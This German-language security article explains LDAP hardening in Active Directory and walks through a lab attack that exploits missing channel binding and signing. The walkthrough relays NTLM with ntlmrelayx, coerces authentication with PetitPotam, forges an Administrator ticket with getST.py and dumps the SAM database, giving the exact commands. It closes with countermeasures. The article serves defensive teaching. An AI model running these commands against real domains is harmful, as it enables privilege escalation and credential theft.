Haftungsausschluss: Dieser Beitrag dient ausschließlich Bildungs- und Informationszwecken. Die hier gezeigten Informationen und Angriffe dürfen niemals für illegale Zwecke oder auf Systemen, für die keine explizite Erlaubnis eingeräumt wurde, verwendet werden. Solche Handlungen können gegen geltende Gesetze verstoßen und schwerwiegende rechtliche Konsequenzen nach sich ziehen.

Zusammenfassung

Dieser Beitrag zeigt verschiedene Angriffsvektoren in Bezug auf Lightweight Directory Access Protocol (LDAP) auf. Um sich zu schützen und dieses SecCore Essential zu implementieren, müssen die folgenden Punkte erfüllt sein:

  • LDAPS muss auf jedem Domain-Controller erzwungen werden, und reguläres LDAP sollte deaktiviert werden
  • LDAP Channel Binding und LDAP Signing muss per GPO auf allen Domain Controllern aktiviert werden:
    • Domain controller: LDAP server signing requirements auf Require signing1
    • Domain controller: LDAP server channel binding token requirements auf Always2
  • Zusätzlich muss LDAP Signing per GPO auf allen Clients aktiviert werden:
    • Network security: LDAP client signing requirements auf Require signing1
  • Der anonyme Zugriff muss deaktiviert sein. Dies sollte standardmäßig der Fall sein:
    • Das dsHeuristics Attribut sollte auf 0 gesetzt sein3

Einleitung

Mit dem Lightweight Directory Access Protocol ist es möglich, in Verzeichnissen wie Active Directory (AD), Informationen abzurufen und zu verwalten. Das Protokoll ist offen und herstellerneutral und stellt einen zentralen Bestandteil jeder AD-Umgebung dar.

LDAP Authentication

In einer Active Directory-Umgebung agiert jeder Domain Controller als LDAP-Server, während alle anderen Systeme als LDAP-Clients arbeiten, die nach erfolgter Authentifizierung Informationen wie Accounts, Gruppen, Computer und Attribute via LDAP abrufen können.

LDAP Attack

Mit ausreichenden Berechtigungen oder fehlenden Sicherheitskonfigurationen können gespeicherte oder gesendete Informationen ausgelesen und verändert werden.

Häufige Angriffsvektoren

Die folgenden Abschnitte beschreiben häufige Angriffsvektoren auf LDAP innerhalb einer AD-Umgebung.

Fehlende SSL/TSL Verschlüsselung (LDAPS)

Seit 2020 versucht Microsoft, Unternehmen durch Windows Updates bei der Absicherung von LDAP zu unterstützen. Diese Maßnahmen wurden jedoch nicht durchgesetzt und die Standardeinstellungen blieben unverändert2. Infolgedessen ist in vielen Unternehmensnetzwerken noch immer unverschlüsselter LDAP-Datenverkehr anzutreffen. Dies hat zur Folge, dass sensible Daten wie Anmeldeinformationen offengelegt oder LDAP-Abfragen mitgelesen werden können.

LDAP Channel Binding & LDAP Signing

LDAP Channel Binding erhöht die Sicherheit von LDAPS-Verbindungen, indem für jede Session eine eindeutige Kennung generiert wird. Diese Kennung kann somit nur in einem bestimmten SSL/TLS Tunnel verwendet werden. In Kombination mit LDAP-Signing, welches die Integrität von LDAP-Paketen sicherstellt, können Man-in-the-Middle und Relay Angriffe effektiv unterbunden werden. Ohne Channel Binding und Signing können bösartige Systeme im selben Netzwerk LDAP-Anfragen abfangen und verändern. Dadurch können Änderungen im Verzeichnis durchgeführt und möglicherweise der Zugriff ausgeweitet werden: LDAP Relay Dieser Angriff fängt die eingehende NTLM-Authentifizierung ab und leitet diese auf LDAP weiter.

LDAP Anonymous Access

Active Directory LDAP Server können so konfiguriert werden, dass sie anonyme Zugriffe erlauben. Das ermöglicht es jedem Client, ohne Authentifizierung das Verzeichnis abzufragen. Auch wenn dies für öffentliche Verzeichnisse praktisch sein kann, ermöglicht es das Auslesen von Accounts, Gruppen und Computern (und deren Attribute) ohne einen gültigen Account. Die gesammelten Informationen können anschließend für Brute-Force-Angriffe oder zur Suche nach sensiblen Daten wie zum Beispiel Passwörtern verwendet werden. Diese Einstellung ist in Active Directory-Netzwerken normalerweise standardmäßig deaktiviert. Zur Sicherheit sollte dies jedoch überprüft werden.

LDAP Injection

Eine LDAP-Injection verhält sich ähnlich wie ein SQL-Injection Angriff, es werden jedoch statt SQL-Abfragen LDAP-Abfragen so verändert, dass diese für bösartige Zwecke missbraucht werden können. Durch das Einfügen speziell gestalteter LDAP-Queries kann die Abfragelogik so manipuliert werden, dass eine Authentifizierung umgangen, nicht autorisierter Zugriff auf Daten ermöglicht oder Berechtigungen erhöht werden. Diese Schwachstelle wird hier der Vollständigkeit halber erwähnt, kommt jedoch in Active Directory-Umgebungen relativ selten vor. In den meisten Fällen sind eigens entwickelte oder Drittanbieter-Softwareprodukte anfälliger für LDAP-Injection.

Angriffsszenario

In diesem Abschnitt wird gezeigt, wie fehlendes LDAP Channel Binding und LDAP Signing ausgenutzt werden kann, um administrative Berechtigungen auf ein fremdes System zu erhalten. Dieses Szenario ist wie folgt aufgebaut:

  • SMB Signing ist auf allen Systemen aktiv
  • LDAP Channel Binding und LDAP Signing wurden nicht konfiguriert
  • LDAPS ist verfügbar, aber nicht erzwungen
  • Alle Systeme befinden sich im selben Netzwerk
  • Gültige Zugangsdaten wurden bereits erlangt
  • Es wurde keine Rücksicht auf OPSEC genommen, der direkteste Ansatz wurde gewählt NXC Connection

Der letzte Punkte ist nicht unbedingt notwendig, er vereinfacht jedoch dieses Angriffsszenario. Wie diese Tatsache umgangen werden kann, wird später in diesem Szenario erläutert. Dieses Test-Netzwerk besteht aus drei Systemen: Lab Setup

Beim angreifenden System handelt es sich um ein GNU/Linux System mit direktem Netzwerkzugang. Auch dies ist nicht unbedingt erforderlich, vereinfacht aber den Angriff. Anstelle eines GNU/Linux Systems kann dieser Angriff auch über ein kompromittiertes Windows-Client System durchgeführt werden. Client1.lab.local ist ein Windows System, welches das Zielsystem darstellt und WIN-4SAHM65HN1H.lab.local (in diesem Szenario wird dieses System DC01.lab.local genannt) ist der Domain-Controller, welcher den LDAP-Server stellt.

Um einen LDAP-Relay Angriff durchzuführen, kann zum Beispiel das Tool ntlmrelayx der impacket-Suite4 verwendet werden. Dieses Tool kann automatisiert LDAP-Relay Angriffe durchführen, indem NTLM-Authentifizierungen auf einen LDAP-Server weitergeleitet werden. Mit dieser Authentifizierung können nun andere LDAP-Befehle ausgeführt werden:

ntlmrelayx.py -t ldaps://192.168.30.131 --delegate-access

Durch diesen Befehl wird ntlmrelayx gestartet, das auf eingehende NTLM-Authentifizierungen wartet. Der -t Parameter gibt dabei das Zielsystem (LDAP-Server) an, was in diesem Fall der Domain-Controller ist. Mit dem Parameter --delegate-access wird festgelegt, dass automatisch Berechtigungen für das weitergeleitete System vergeben werden sollen. Delegate Access

Da das Ziel dieses Szenarios der Zugriff auf das Client1.lab.local System ist, wird versucht, eine Anmeldung von diesem System auf ntlmrelayx zu erzwingen, um diese weiterzuleiten. Dies kann mit Tools wie Coercer5 oder PetitPotam6 durchgeführt werden: Petit Potam

Die Parameter des PetitPotam Tools geben die Anmeldedaten eines Accounts an, gefolgt vom DNS-Namen und Port des Systems auf welchem ntlmrelayx ausgeführt wird. Da jedoch SMB Signing wie in unserem SMB Security Eintrag korrekt implementiert wurde, kann keine Weiterleitung von SMB auf LDAP erfolgen. Deshalb kann versucht werden, das System über WebDAV auf Port 80 zu coercen. Für diesen Befehl muss die IP-Adresse des Client1.lab.local Systems verwendet werden:

PetitPotam.py -u clientuser1 -d lab.local -p 'Password' attacker@80/aaa 192.68.30.135

Es ist wichtig, den DNS-Namen des angreifenden Systems zu verwenden, da die coercion über WebDAV mit IP-Adressen nicht funktioniert. Auf der letzten Zeile des Screenshots oben ist ersichtlich, dass der Angriff funktioniert hat und das System Client1.lab.local sich zu ntlmrelayx verbunden hat. Successful Relay

Nach erfolgreicher Verbindung wurde die NTLM-Authentifizierung von ntlmrelayx zum LDAP Server weitergeleitet, was eine gültige Authentifizierung als CLIENT1$@lab.local zur Folge hatte. Hierbei handelt es sich um den AD-Maschinenaccount des Client1.lab.local Computers. Nun können Befehle als dieser Computer in Active Directory ausgeführt werden. In diesem Fall wurde von ntlmrelayx bereits ein neuer Computer-Account XNHOAKSI$ hinzugefügt. Das funktioniert, da standardmäßig jeder Account in AD bis zu 10 neue Computer zur Domäne hinzufügen kann. Gleichzeitig wurden die Delegationsberechtigungen des XNHOAKSI$ Accounts so verändert, dass dieser sich als beliebige Accounts auf dem Client1.lab.local ausgeben kann.

Mehr Informationen zu Delegierungen kann in unserem Kerberos Security Essential Eintrag nachgelesen werden.

Dieser neue Computer Account kann nun verwendet werden, um sich beim Client1.lab.local mit administrativen Berechtigungen anzumelden. Dies kann mit einem weiteren Tool der impacket-Suite, getST.py, bewerkstelligt werden:

getST.py -spn 'cifs/client1.lab.local' -impersonate Administrator -dc-ip '192.168.30.131' 'lab.local/XNHOAKSI$:Password'

Dieser Befehl fragt ein Service Ticket (ST) für den CIFS-Dienst auf Client1.lab.local an und gibt sich als Administrator Account aus. Der -dc-ip Parameter gibt die IP-Adresse des Domain-Controller an und der letzte Parameter sind die Zugangsdaten des neu erstellen Computeraccounts. Wenn das erfolgreich ist, gibt dieser Befehl ein gültiges Kerberos-Ticket aus, welches zur Anmeldung am Client1.lab.local System als Administrator verwendet werden kann: Service Ticket

Dieses Ticket kann nun mit dem Tool NetExec7 verwendet werden, um sich zum Client1.lab.local zu verbinden und beliebige administrative Befehle auszuführen: Sam Dump In diesem Fall wurde die SAM-Datenbank des Client1.lab.local Systems ausgelesen, welche alle lokalen Accounts und dessen Passwort-Hashes enthält.

Dieser Angriff kann auch ohne gültige Zugangsdaten durchgeführt werden, indem IPv6 Spoofing verwendet wird, um Authentifizierungen von verschiedenen Systemen zu erhalten. Zusammengefasst sieht dieses Angriffsszenario wie folgt aus: Attack Summary

Gegenmaßnahmen

Wenn LDAP Channel Bindung und LDAP Signing aktiviert wird, funktioniert dieser Angriff nicht mehr. Es können zwar Anmeldungen auf den LDAP-Server weitergeleitet werden, dieser akzeptiert diese jedoch nicht: Mitigation